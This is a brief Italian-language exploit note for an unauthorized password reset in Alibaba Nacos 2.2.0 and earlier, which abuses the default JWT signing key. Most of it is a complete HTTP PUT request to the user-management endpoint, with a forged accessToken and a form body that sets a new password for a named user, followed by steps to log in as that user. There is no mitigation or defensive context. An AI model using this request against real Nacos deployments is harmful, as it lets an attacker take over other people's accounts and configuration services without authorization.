
Alibab-Nacos-Unauthorized-Reset PWD
È stato scoperto un problema in Nacos che interessa Nacos <= 2.2.0. Quando un utente usa la chiave JWT predefinita, un attaccante può reimpostare la password di qualsiasi utente e prendere il controllo dell'account.
Versione Nacos <= 2.2.0
Passo 1: Ottieni il nome utente (puoi usare una vecchia vulnerabilità o indovinarlo)

Passo 2: Reimposta la password
PUT /nacos/v1/auth/users HTTP/1.1
Host: xx.xx.xxx.xx
Content-Length: 33
Accept: application/json, text/plain, */*
accessToken: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJhbDFleCIsImV4cCI6MTY2ODA4OTk2N30.hv0MWlHISYCgvIDQhidQBCeyYb7tbG0JrbNyx-9kDzc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=
Connection: close
username=al1ex&newPassword=al22ex

Passo 3: Accedi con successo
